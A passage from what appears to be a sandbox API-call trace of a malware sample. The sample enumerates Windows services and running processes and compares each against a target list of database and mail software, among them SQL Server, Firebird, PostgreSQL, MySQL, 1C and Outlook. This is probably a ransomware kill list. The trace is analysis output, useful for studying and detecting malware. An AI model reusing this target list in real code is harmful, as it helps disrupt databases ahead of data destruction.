lpString2="AudioEndpointBuilder") returned 1 [0264.369] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.369] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.369] lstrlenW (lpString="AudioSrv") returned 8 [0264.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0264.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0264.369] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0264.369] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0264.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0264.370] lstrlenW (lpString="BFE") returned 3 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.370] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.370] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.370] lstrlenW (lpString="CryptSvc") returned 8 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.370] lstrlenW (lpString="CscService") returned 10 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0264.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0264.370] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0264.370] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0264.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0264.370] lstrlenW (lpString="DcomLaunch") returned 10 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.370] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.370] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.370] lstrlenW (lpString="Dhcp") returned 4 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.370] lstrlenW (lpString="Dnscache") returned 8 [0264.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.371] lstrlenW (lpString="DPS") returned 3 [0264.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.371] lstrlenW (lpString="eventlog") returned 8 [0264.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0264.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0264.371] lstrlenW (lpString="EventSystem") returned 11 [0264.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.371] lstrlenW (lpString="gpsvc") returned 5 [0264.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.371] lstrlenW (lpString="iphlpsvc") returned 8 [0264.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.371] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.371] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.372] lstrlenW (lpString="LanmanServer") returned 12 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.372] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.372] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.372] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.372] lstrlenW (lpString="lmhosts") returned 7 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.372] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.372] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.372] lstrlenW (lpString="MMCSS") returned 5 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0264.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0264.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0264.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0264.372] lstrlenW (lpString="MpsSvc") returned 6 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.372] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.372] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.372] lstrlenW (lpString="NlaSvc") returned 6 [0264.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.373] lstrlenW (lpString="nsi") returned 3 [0264.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.373] lstrlenW (lpString="PcaSvc") returned 6 [0264.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.373] lstrlenW (lpString="PlugPlay") returned 8 [0264.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.373] lstrlenW (lpString="Power") returned 5 [0264.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.373] lstrlenW (lpString="ProfSvc") returned 7 [0264.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.373] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.374] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.374] lstrlenW (lpString="RpcSs") returned 5 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.374] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.374] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.374] lstrlenW (lpString="SamSs") returned 5 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.374] lstrlenW (lpString="Schedule") returned 8 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.374] lstrlenW (lpString="SENS") returned 4 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.374] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.375] lstrlenW (lpString="Spooler") returned 7 [0264.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.375] lstrlenW (lpString="SysMain") returned 7 [0264.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.375] lstrlenW (lpString="Themes") returned 6 [0264.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.375] lstrlenW (lpString="TrkWks") returned 6 [0264.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0264.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0264.376] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0264.376] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0264.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0264.376] lstrlenW (lpString="UxSms") returned 5 [0264.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0264.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0264.376] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0264.376] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0264.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0264.376] lstrlenW (lpString="Winmgmt") returned 7 [0264.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0264.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0264.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0264.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0264.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0264.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0264.376] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0264.377] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.377] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.378] lstrlenW (lpString="System") returned 6 [0264.378] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0264.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0264.378] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.378] lstrlenW (lpString="smss.exe") returned 8 [0264.378] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0264.378] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0264.378] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.379] lstrlenW (lpString="csrss.exe") returned 9 [0264.379] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.379] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.379] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.379] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.379] lstrlenW (lpString="wininit.exe") returned 11 [0264.379] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0264.379] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0264.379] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.380] lstrlenW (lpString="csrss.exe") returned 9 [0264.380] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0264.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0264.380] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0264.380] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0264.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0264.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0264.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0264.380] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.380] lstrlenW (lpString="winlogon.exe") returned 12 [0264.380] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0264.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0264.380] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.380] lstrlenW (lpString="services.exe") returned 12 [0264.380] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0264.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0264.381] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.381] lstrlenW (lpString="lsass.exe") returned 9 [0264.381] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0264.381] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0264.381] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0264.381] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0264.381] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0264.381] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0264.381] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0264.381] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0264.381] lstrlenW (lpString="lsm.exe") returned 7 [0264.382] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0264.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0264.382] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0264.382] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0264.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0264.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0264.382] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0264.382] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.382] lstrlenW (lpString="svchost.exe") returned 11 [0264.382] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0264.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0264.382] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0264.382] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0264.382] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0264.382] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0264.382] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, 